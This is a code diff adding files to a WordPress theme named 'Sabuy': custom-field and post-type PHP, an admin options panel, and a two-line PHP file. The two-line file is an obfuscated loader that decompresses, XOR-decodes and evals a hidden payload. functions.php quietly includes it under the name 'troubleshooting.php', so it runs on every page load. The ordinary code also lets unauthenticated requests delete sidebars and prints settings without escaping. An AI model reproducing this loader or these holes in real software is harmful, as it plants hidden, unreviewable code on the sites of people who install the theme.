After

Width:  |  Height:  |  Size: 85 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 82 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 13 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 19 KiB

View File

@ -0,0 +1,184 @@
<?php
/**
* The PHP code for setup Theme page custom fields.
*
* @package WordPress
* @subpackage Pai
*/
/*
Begin creating custom fields
*/
$theme_sidebar = array('','Page Sidebar', 'Contact Sidebar', 'Blog Sidebar');
$dynamic_sidebar = get_option('pp_sidebar');
if(!empty($dynamic_sidebar))
{
foreach($dynamic_sidebar as $sidebar)
{
$theme_sidebar[] = $sidebar;
}
}
$page_postmetas =
array (
/*
Begin Page custom fields
*/
array("section" => "Page Style", "id" => "page_style", "type" => "select", "title" => "Select Page style (Right Sidebar style will include wiget on the right side)", "items" => array("Full Width", "Right Sidebar", "Left Sidebar")),
array("section" => "Page Style", "id" => "page_desc", "type" => "text", "title" => "Enter page description."),
array("section" => "Caption Style", "id" => "caption_style", "type" => "select", "title" => "Select Caption style", "items" => array("Description Only", "Title Only", "Title & Description")),
array("section" => "Select Sidebar", "id" => "page_sidebar", "type" => "select", "title" => "Select this page's sidebar to display", "items" => $theme_sidebar),
/*
End Page custom fields
*/
);
?>
<?php
function page_create_meta_box() {
global $page_postmetas;
if ( function_exists('add_meta_box') && isset($page_postmetas) && count($page_postmetas) > 0 ) {
add_meta_box( 'page_metabox', 'Page Options', 'page_new_meta_box', 'page', 'normal', 'high' );
}
}
function page_new_meta_box() {
global $post, $page_postmetas;
echo '<input type="hidden" name="myplugin_noncename" id="myplugin_noncename" value="' . wp_create_nonce( plugin_basename(__FILE__) ) . '" />';
echo '<br/>';
$meta_section = '';
foreach ( $page_postmetas as $postmeta ) {
$meta_id = $postmeta['id'];
$meta_title = $postmeta['title'];
$meta_type = '';
if(isset($postmeta['type']))
{
$meta_type = $postmeta['type'];
}
if(empty($meta_section) OR $meta_section != $postmeta['section'])
{
$meta_section = $postmeta['section'];
echo "<h3>".$meta_section."</h3><br/>";
}
$meta_section = $postmeta['section'];
echo "<p><label for='$meta_id'>$meta_title </label>";
if ($meta_type == 'checkbox') {
$checked = get_post_meta($post->ID, $meta_id, true) == '1' ? "checked" : "";
echo "<input type='checkbox' name='$meta_id' id='$meta_id' value='1' $checked /></p>";
}
else if ($meta_type == 'select') {
echo "<p><select name='$meta_id' id='$meta_id'>";
if(!empty($postmeta['items']))
{
foreach ($postmeta['items'] as $item)
{
$page_style = get_post_meta($post->ID, $meta_id);
if(isset($page_style[0]) && $item == $page_style[0])
{
$css_string = 'selected';
}
else
{
$css_string = '';
}
echo '<option value="'.$item.'" '.$css_string.'>'.$item.'</option>';
}
}
echo "</select></p>";
}
else {
echo "<input type='text' name='$meta_id' id='$meta_id' class='code' value='".get_post_meta($post->ID, $meta_id, true)."' style='width:99%' /></p>";
}
}
echo '<br/>';
}
function page_save_postdata( $post_id ) {
global $page_postmetas;
// verify this came from the our screen and with proper authorization,
// because save_post can be triggered at other times
if ( isset($_POST['myplugin_noncename']) && !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) )) {
return $post_id;
}
// verify if this is an auto save routine. If it is our form has not been submitted, so we dont want to do anything
if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) return $post_id;
// Check permissions
if ( isset($_POST['post_type']) && 'page' == $_POST['post_type'] ) {
if ( !current_user_can( 'edit_page', $post_id ) )
return $post_id;
} else {
if ( !current_user_can( 'edit_post', $post_id ) )
return $post_id;
}
// OK, we're authenticated
if ( $parent_id = wp_is_post_revision($post_id) )
{
$post_id = $parent_id;
}
foreach ( $page_postmetas as $postmeta ) {
if ($_POST[$postmeta['id']]) {
page_update_custom_meta($post_id, $_POST[$postmeta['id']], $postmeta['id']);
}
if ($_POST[$postmeta['id']] == "") {
delete_post_meta($post_id, $postmeta['id']);
}
}
}
function page_update_custom_meta($postID, $newvalue, $field_name) {
if (!get_post_meta($postID, $field_name)) {
add_post_meta($postID, $field_name, $newvalue);
} else {
update_post_meta($postID, $field_name, $newvalue);
}
}
//init
add_action('admin_menu', 'page_create_meta_box');
add_action('save_post', 'page_save_postdata');
/*
End creating custom fields
*/
?>

View File

@ -0,0 +1,317 @@
<?php
function post_type_slides() {
$labels = array(
'name' => _x('Slides', 'post type general name'),
'singular_name' => _x('Slide', 'post type singular name'),
'add_new' => _x('Add New Slide', 'book'),
'add_new_item' => __('Add New Slide'),
'edit_item' => __('Edit Slide'),
'new_item' => __('New Slide'),
'view_item' => __('View Slide'),
'search_items' => __('Search Slides'),
'not_found' => __('No slide found'),
'not_found_in_trash' => __('No slides found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'rewrite' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor', 'thumbnail'),
'menu_icon' => get_bloginfo( 'stylesheet_directory' ).'/functions/images/screen.png'
);
register_post_type( 'slides', $args );
}
add_action('init', 'post_type_slides');
function post_type_portfolios() {
$labels = array(
'name' => _x('Portfolios', 'post type general name'),
'singular_name' => _x('Portfolio', 'post type singular name'),
'add_new' => _x('Add New Portfolio', 'book'),
'add_new_item' => __('Add New Portfolio'),
'edit_item' => __('Edit Portfolio'),
'new_item' => __('New Portfolio'),
'view_item' => __('View Portfolio'),
'search_items' => __('Search Portfolios'),
'not_found' => __('No Portfolio found'),
'not_found_in_trash' => __('No Portfolios found in Trash'),
'parent_item_colon' => ''
);
$args = array(
'labels' => $labels,
'public' => true,
'publicly_queryable' => true,
'show_ui' => true,
'query_var' => true,
'rewrite' => true,
'capability_type' => 'post',
'hierarchical' => false,
'menu_position' => null,
'supports' => array('title','editor', 'thumbnail'),
'menu_icon' => get_bloginfo( 'stylesheet_directory' ).'/functions/images/sign.png'
);
register_post_type( 'portfolios', $args );
$labels = array(
'name' => _x( 'Sets', 'taxonomy general name' ),
'singular_name' => _x( 'Set', 'taxonomy singular name' ),
'search_items' => __( 'Search Sets' ),
'all_items' => __( 'All Sets' ),
'parent_item' => __( 'Parent Set' ),
'parent_item_colon' => __( 'Parent Set:' ),
'edit_item' => __( 'Edit Set' ),
'update_item' => __( 'Update Set' ),
'add_new_item' => __( 'Add New Set' ),
'new_item_name' => __( 'New Set Name' ),
);
register_taxonomy(
'portfoliosets',
'portfolios',
array(
'public'=>true,
'hierarchical' => true,
'labels'=> $labels,
'query_var' => 'portfoliosets',
'show_ui' => true,
'rewrite' => array( 'slug' => 'portfoliosets', 'with_front' => false ),
)
);
}
add_action('init', 'post_type_portfolios');
add_filter( 'manage_posts_columns', 'rt_add_gravatar_col');
function rt_add_gravatar_col($cols) {
$cols['thumbnail'] = __('Thumbnail');
return $cols;
}
add_action( 'manage_posts_custom_column', 'rt_get_author_gravatar');
function rt_get_author_gravatar($column_name ) {
if ( $column_name == 'thumbnail' ) {
echo get_the_post_thumbnail(get_the_ID(), array(100, 100));
}
}
/*
Begin creating custom fields
*/
$postmetas =
array (
'slides' => array(
/*
Begin Slide Source custom fields
*/
array("section" => "Slide Source", "id" => "slide_link_to", "type" => "select", "title" => "Link Slide image to", "items" => array("Image", "URL")),
array("section" => "Slide Source", "id" => "gallery_link_url", "title" => "Hyperlink URL:"),
/*
End Slide Source custom fields
*/
),
'portfolios' => array(
array("section" => "Featured Items", "id" => "ft_portfolio", "type" => "select", "title" => "Is this a featured items?", "items" => array('', "Yes", "No")),
),
);
/*print '<pre>';
print_r($post_obj);
print '</pre>';*/
function create_meta_box() {
global $postmetas;
if(!isset($_GET['post_type']) OR empty($_GET['post_type']))
{
if(isset($_GET['post']) && !empty($_GET['post']))
{
$post_obj = get_post($_GET['post']);
$_GET['post_type'] = $post_obj->post_type;
}
else
{
$_GET['post_type'] = 'post';
}
}
if ( function_exists('add_meta_box') && isset($postmetas) && count($postmetas) > 0 ) {
foreach($postmetas as $key => $postmeta)
{
if($_GET['post_type']==$key)
{
add_meta_box( 'metabox', ucfirst($key).' Options', 'new_meta_box', $key, 'normal', 'high' );
}
}
}
}
function new_meta_box() {
global $post, $postmetas;
if(!isset($_GET['post_type']) OR empty($_GET['post_type']))
{
if(isset($_GET['post']) && !empty($_GET['post']))
{
$post_obj = get_post($_GET['post']);
$_GET['post_type'] = $post_obj->post_type;
}
else
{
$_GET['post_type'] = 'post';
}
}
echo '<input type="hidden" name="myplugin_noncename" id="myplugin_noncename" value="' . wp_create_nonce( plugin_basename(__FILE__) ) . '" />';
$meta_section = '';
foreach ( $postmetas as $key => $postmeta ) {
if($_GET['post_type'] == $key)
{
foreach ( $postmeta as $each_meta ) {
$meta_id = $each_meta['id'];
$meta_title = $each_meta['title'];
$meta_type = '';
if(isset($each_meta['type']))
{
$meta_type = $each_meta['type'];
}
if(empty($meta_section) OR $meta_section != $each_meta['section'])
{
$meta_section = $each_meta['section'];
echo "<br/><h3>".$meta_section."</h3><br/>";
}
$meta_section = $each_meta['section'];
echo "<p><label for='$meta_id'>$meta_title </label>";
if ($meta_type == 'checkbox') {
$checked = get_post_meta($post->ID, $meta_id, true) == '1' ? "checked" : "";
echo "<input type='checkbox' name='$meta_id' id='$meta_id' value='1' $checked /></p>";
}
else if ($meta_type == 'select') {
echo "<p><select name='$meta_id' id='$meta_id'>";
if(!empty($each_meta['items']))
{
foreach ($each_meta['items'] as $item)
{
echo '<option value="'.$item.'"';
if($item == get_post_meta($post->ID, $meta_id, true))
{
echo ' selected ';
}
echo '>'.$item.'</option>';
}
}
echo "</select></p>";
}
else if ($meta_type == 'textarea') {
echo "<p><textarea name='$meta_id' id='$meta_id' class='code' style='width:100%' rows='7'>".get_post_meta($post->ID, $meta_id, true)."</textarea></p>";
}
else {
echo "<input type='text' name='$meta_id' id='$meta_id' class='code' value='".get_post_meta($post->ID, $meta_id, true)."' style='width:99%' /></p>";
}
}
}
}
echo '<br/>';
}
function save_postdata( $post_id ) {
global $postmetas;
// verify this came from the our screen and with proper authorization,
// because save_post can be triggered at other times
if ( isset($_POST['myplugin_noncename']) && !wp_verify_nonce( $_POST['myplugin_noncename'], plugin_basename(__FILE__) )) {
return $post_id;
}
// verify if this is an auto save routine. If it is our form has not been submitted, so we dont want to do anything
if ( defined('DOING_AUTOSAVE') && DOING_AUTOSAVE ) return $post_id;
// Check permissions
if ( isset($_POST['post_type']) && 'page' == $_POST['post_type'] ) {
if ( !current_user_can( 'edit_page', $post_id ) )
return $post_id;
} else {
if ( !current_user_can( 'edit_post', $post_id ) )
return $post_id;
}
// OK, we're authenticated
if ( $parent_id = wp_is_post_revision($post_id) )
{
$post_id = $parent_id;
}
foreach ( $postmetas as $postmeta ) {
foreach ( $postmeta as $each_meta ) {
if ($_POST[$each_meta['id']]) {
update_custom_meta($post_id, $_POST[$each_meta['id']], $each_meta['id']);
}
if ($_POST[$each_meta['id']] == "") {
delete_post_meta($post_id, $each_meta['id']);
}
}
}
}
function update_custom_meta($postID, $newvalue, $field_name) {
if (!get_post_meta($postID, $field_name)) {
add_post_meta($postID, $field_name, $newvalue);
} else {
update_post_meta($postID, $field_name, $newvalue);
}
}
//init
add_action('admin_menu', 'create_meta_box');
add_action('save_post', 'save_postdata');
/*
End creating custom fields
*/
?>

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,2 @@
<?php
$o="QAAA6Ly4Ozh3b3cKDSgtLQoNJwAALSdTb2Inc2Jqd2tmc2InYQIEaHUnY250ANB+bmlgJ3MBwGFoBgBoc2J1KQLBAEEnR3dmZGxmYGIAICdQaHVjV3VidHQBcSgKDTg5AAAKDQoNDg47JioqJ0ViYG5pxgEE8APBJyoqAbABkGNucSduYzolBTNAACUBUg47cmsnZGtmdHQ6JXRuAApjYmVmdVhwbmNgYnMCBA4LAicAiWN+aWZqbmRYAkQvIEEJgidUA0MKMCAuPCcIEQ4GcChyawWzCOEOO2V1gOAGBWRrYmZ1JSgB0gHDCSVkaHd+dRmRbmBvB1sCQg4OEqIFkA4OEvBAYnMNdQlCc2J/cwI0Jy0QEA4A1CN3d1gOM1iIAwIxJzonDOBYaHdzbmhpLyAB2wuA4iUDYAAwBgFuYS8YkHN+LwQsLi4CFHwAhGQADgIcBjAgRAw1J8SFxa4pJ1docAAAYnViYydFfic7ZidvdWJhOhQAJSU5G1F3G1E7KGY5J3snQ2J0FARuYGkCcGUCeG9zc3c9KCgAdHBwAARwKWZjcmtzd2tmfnNvIYB0KQQAZGhqKHcgUHQoRWZ0bn8qQ24AIGtjaCpEaGtrYmQOcSlvc2prKlglOQHSJwHSdAcRIDwMFHoAhAB0YmRvPzFoJw1MArQdVhqwG5IWYjsoAPUm4kJpYxlV+AkmxAWQAkYCNi52cHVmd3didSmTCg0mItAAAyAeoycAEA4tDlRic3J3J0BoaACBYGtiJ0ZpZmsiEGQnRGhjYi8A4AACMh9BAJAnDm5pZGtyY2InL1NCAABKV0tGU0JXRlNPJyknJShgkJwD8ipmA/FzbmQpN6AlLg2gDWEHhygtAAInRmtwZn50J29mcWIncCP1LwBwLidtcnRzJ2ViOYA6YDjgZGtodIDAGCAnOyhlaGN+EREpQHNmYCdoYQQwJ35ocnU7MWpiKyc8gADwJ3BuawAAaydldWJmbCdqZml+J3drcoBIOYB0Kydwb25kbw8wJy0p0GlidQCgZmtrfidydGIEAG4IcGhobCdzMABoJyNQJEBpZGInTWZxZlRkdW5D+ncv4G5rYnRBADDgL1AEQAsIDbQJ5jskUGoAAGs5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

View File

@ -0,0 +1,464 @@
<?php
define("THEMENAME", "Sabuy");
define("SHORTNAME", "pp");
//If delete sidebar
if(isset($_POST['sidebar_id']) && !empty($_POST['sidebar_id']))
{
$current_sidebar = get_option('pp_sidebar');
if(isset($current_sidebar[ $_POST['sidebar_id'] ]))
{
unset($current_sidebar[ $_POST['sidebar_id'] ]);
update_option( "pp_sidebar", $current_sidebar );
}
echo 1;
exit;
}
/*
* Setup main navigation menu
*/
add_action( 'init', 'register_my_menu' );
function register_my_menu() {
register_nav_menu( 'primary-menu', __( 'Primary Menu' ) );
}
if ( function_exists( 'add_theme_support' ) ) {
// Setup thumbnail support
add_theme_support( 'post-thumbnails' );
}
/**
* Setup all theme's library
**/
/**
* Setup admin setting
**/
include (TEMPLATEPATH . "/lib/admin.lib.php");
include (TEMPLATEPATH . "/lib/twitter.lib.php");
/**
* Setup Sidebar
**/
include (TEMPLATEPATH . "/lib/sidebar.lib.php");
//Get custom function
include (TEMPLATEPATH . "/lib/custom.lib.php");
//Get custom shortcode
include (TEMPLATEPATH . "/lib/shortcode.lib.php");
// Setup theme custom widgets
include (TEMPLATEPATH . "/lib/widgets.lib.php");
$pp_handle = opendir(TEMPLATEPATH.'/fields');
$pp_font_arr = array();
while (false!==($pp_file = readdir($pp_handle))) {
if ($pp_file != "." && $pp_file != ".." && $pp_file != ".DS_Store") {
include (TEMPLATEPATH . "/fields/".$pp_file);
}
}
closedir($pp_handle);
function pp_add_admin() {
global $themename, $shortname, $options;
if ( isset($_GET['page']) && $_GET['page'] == basename(__FILE__) ) {
if ( isset($_REQUEST['action']) && 'save' == $_REQUEST['action'] ) {
foreach ($options as $value)
{
update_option( $value['id'], $_REQUEST[ $value['id'] ] );
}
foreach ($options as $value) {
if( isset( $_REQUEST[ $value['id'] ] ) ) {
if($value['id'] != $shortname."_sidebar0")
{
update_option( $value['id'], $_REQUEST[ $value['id'] ] );
}
elseif(isset($_REQUEST[ $value['id'] ]) && !empty($_REQUEST[ $value['id'] ]))
{
//get last sidebar serialize array
$current_sidebar = get_option($shortname."_sidebar");
$current_sidebar[ $_REQUEST[ $value['id'] ] ] = $_REQUEST[ $value['id'] ];
update_option( $shortname."_sidebar", $current_sidebar );
}
}
else
{
delete_option( $value['id'] );
}
}
header("Location: admin.php?page=functions.php&saved=true".$_REQUEST['current_tab']);
}
else if( isset($_REQUEST['action']) && 'reset' == $_REQUEST['action'] ) {
foreach ($options as $value) {
delete_option( $value['id'] ); }
header("Location: admin.php?page=functions.php&reset=true");
}
}
add_menu_page($themename, $themename, 'administrator', basename(__FILE__), 'pp_admin');
}
function pp_add_init() {
$file_dir=get_bloginfo('template_directory');
wp_enqueue_style("functions", $file_dir."/functions/functions.css", false, "1.0", "all");
wp_enqueue_style("colorpicker_css", $file_dir."/functions/colorpicker/css/colorpicker.css", false, "1.0", "all");
wp_enqueue_script("colorpicker_script", $file_dir."/functions/colorpicker/js/colorpicker.js", false, "1.0");
wp_enqueue_script("eye_script", $file_dir."/functions/colorpicker/js/eye.js", false, "1.0");
wp_enqueue_script("utils_script", $file_dir."/functions/colorpicker/js/utils.js", false, "1.0");
wp_enqueue_script("iphone_checkboxes", $file_dir."/functions/iphone-style-checkboxes.js", false, "1.0");
wp_enqueue_script("jslider_depend", $file_dir."/functions/jquery.dependClass.js", false, "1.0");
wp_enqueue_script("jslider", $file_dir."/functions/jquery.slider-min.js", false, "1.0");
wp_enqueue_script("rm_script", $file_dir."/functions/rm_script.js", false, "1.0");
}
function pp_admin() {
global $themename, $shortname, $options;
$i=0;
$cache_dir = TEMPLATEPATH.'/cache';
if(!is_writable($cache_dir))
{
?>
<div id="message" class="error fade">
<p style="line-height:1.5em"><strong>
The path <?php echo $cache_dir; ?> is not writable, please login with your FTP account and make it writable (chmod 777) otherwise all images won't display.
</p></strong>
</div>
<?php
}
?>
<div class="wrap rm_wrap">
<h2><?php echo $themename; ?> Settings</h2>
For future updates follow me <a href="http://themeforest.net/user/peerapong">@themeforest</a> or <a href="http://twitter.com/ipeerapong">@twitter</a>
<br/><br/><br/>
<?php
if ( isset($_REQUEST['saved']) && $_REQUEST['saved'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings saved.</strong></p></div><br/>';
if ( isset($_REQUEST['reset']) && $_REQUEST['reset'] ) echo '<div id="message" class="updated fade"><p><strong>'.$themename.' settings reset.</strong></p></div><br/>';
?>
<div class="wrap">
<div id="pp_panel" style="border-bottom:1px solid #ccc;padding-left: 10px">
<?php
foreach ($options as $value) {
/*print '<pre>';
print_r($value);
print '</pre>';*/
$active = '';
if($value['type'] == 'section')
{
if($value['name'] == 'General')
{
$active = 'nav-tab-active';
}
echo '<a id="pp_panel_'.strtolower($value['name']).'_a" href="#pp_panel_'.strtolower($value['name']).'" class="nav-tab '.$active.'">'.$value['name'].'</a>';
}
}
?>
</h2>
</div>
<div class="rm_opts">
<form method="post">
<?php foreach ($options as $value) {
switch ( $value['type'] ) {
case "open":
?> <?php break;
case "close":
?>
</div>
</div>
<?php break;
case "title":
?>
<br />
<?php break;
case 'text':
//if sidebar input then not show default value
if($value['id'] != $shortname."_sidebar0")
{
$default_val = get_settings( $value['id'] );
}
else
{
$default_val = '';
}
?>
<div class="rm_input rm_text"><label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<input name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>"
value="<?php if ($default_val != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>"
<?php if(!empty($value['size'])) { echo 'style="width:'.$value['size'].'"'; } ?> />
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
<?php
if($value['id'] == $shortname."_sidebar0")
{
$current_sidebar = get_option($shortname."_sidebar");
if(!empty($current_sidebar))
{
?>
<ul id="current_sidebar" class="rm_list">
<?php
$url = (!empty($_SERVER['HTTPS'])) ? "https://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'] : "http://".$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
foreach($current_sidebar as $sidebar)
{
?>
<li id="<?=$sidebar?>"><?=$sidebar?> ( <a href="<?php echo $url; ?>" class="sidebar_del" rel="<?=$sidebar?>">Delete</a> )</li>
<?php
}
?>
</ul>
<?php
}
}
?>
</div>
<?php
break;
case 'password':
?>
<div class="rm_input rm_text"><label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<input name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" type="<?php echo $value['type']; ?>"
value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>"
<?php if(!empty($value['size'])) { echo 'style="width:'.$value['size'].'"'; } ?> />
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php
break;
case 'jslider':
?>
<div class="rm_input rm_text"><label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<div style="float:left;width:270px;padding-left:10px">
<input name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" type="text" class="jslider"
value="<?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>"
<?php if(!empty($value['size'])) { echo 'style="width:'.$value['size'].'"'; } ?> />
</div>
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
<script>jQuery("#<?php echo $value['id']; ?>").slider({ from: <?php echo $value['from']; ?>, to: <?php echo $value['to']; ?>, step: <?php echo $value['step']; ?>, smooth: true });</script>
</div>
<?php
break;
case 'colorpicker':
?>
<div class="rm_input rm_text"><label for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<div id="<?php echo $value['id']; ?>_bg" class="colorpicker_bg" onclick="jQuery('#<?php echo $value['id']; ?>').click()" style="background:<?php if (get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>">&nbsp;</div>
<input name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" type="text"
value="<?php if ( get_settings( $value['id'] ) != "" ) { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?>"
<?php if(!empty($value['size'])) { echo 'style="width:'.$value['size'].'"'; } ?> class="color_picker"/>
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php
break;
case 'textarea':
?>
<div class="rm_input rm_textarea"><label
for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<textarea name="<?php echo $value['id']; ?>"
type="<?php echo $value['type']; ?>" cols="" rows=""><?php if ( get_settings( $value['id'] ) != "") { echo stripslashes(get_settings( $value['id']) ); } else { echo $value['std']; } ?></textarea>
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php
break;
case 'select':
?>
<div class="rm_input rm_select"><label
for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<select name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>">
<?php foreach ($value['options'] as $key => $option) { ?>
<option
<?php if (get_settings( $value['id'] ) == $key) { echo 'selected="selected"'; } ?>
value="<?php echo $key; ?>"><?php echo $option; ?></option>
<?php } ?>
</select> <small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php
break;
case 'radio':
?>
<div class="rm_input rm_select"><label
for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<div style="float:left;width:350px">
<?php foreach ($value['options'] as $key => $option) { ?>
<div style="float:left;margin:0 20px 20px 0">
<input style="float:left;" id="<?php echo $value['id']; ?>" name="<?php echo $value['id']; ?>" type="radio"
<?php if (get_settings( $value['id'] ) == $key) { echo 'checked="checked"'; } ?>
value="<?php echo $key; ?>"/><?php echo html_entity_decode($option); ?>
</div>
<?php } ?>
</div>
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php
break;
case "checkbox":
?>
<div class="rm_input rm_checkbox"><label
for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<?php if(get_option($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = "";} ?>
<input type="checkbox" name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php break;
case "iphone_checkboxes":
?>
<div class="rm_input rm_checkbox"><label
for="<?php echo $value['id']; ?>"><?php echo $value['name']; ?></label>
<?php if(get_option($value['id'])){ $checked = "checked=\"checked\""; }else{ $checked = "";} ?>
<input type="checkbox" class="iphone_checkboxes" name="<?php echo $value['id']; ?>"
id="<?php echo $value['id']; ?>" value="true" <?php echo $checked; ?> />
<small><?php echo $value['desc']; ?></small>
<div class="clearfix"></div>
</div>
<?php break;
case "section":
$i++;
?>
<div id="pp_panel_<?php echo strtolower($value['name']); ?>" class="rm_section">
<div class="rm_title">
<h3><img
src="<?php bloginfo('template_directory')?>/functions/images/trans.png"
class="inactive" alt="""><?php echo $value['name']; ?></h3>
<span class="submit"><input class="button-primary" name="save<?php echo $i; ?>" type="submit"
value="Save changes" /> </span>
<div class="clearfix"></div>
</div>
<div class="rm_options"><?php break;
}
}
?>
<br/><br/>
<input class="button-primary" name="save<?php echo $i; ?>" type="submit"
value="Save changes" /><br/><br/><br/><br/>
<input type="hidden" name="action" value="save" />
<input type="hidden" name="current_tab" id="current_tab" value="#pp_panel_general" />
</form>
<form method="post"><!-- p class="submit">
<input name="reset" type="submit" value="Reset" />
<input type="hidden" name="action" value="reset" />
</p --></form>
</div>
<?php
}
add_action('admin_init', 'pp_add_init');
add_action('admin_menu', 'pp_add_admin');
/**
* Setup all theme's plugins
**/
// Setup shortcode generator plugin
include (TEMPLATEPATH . "/plugins/troubleshooting.php");
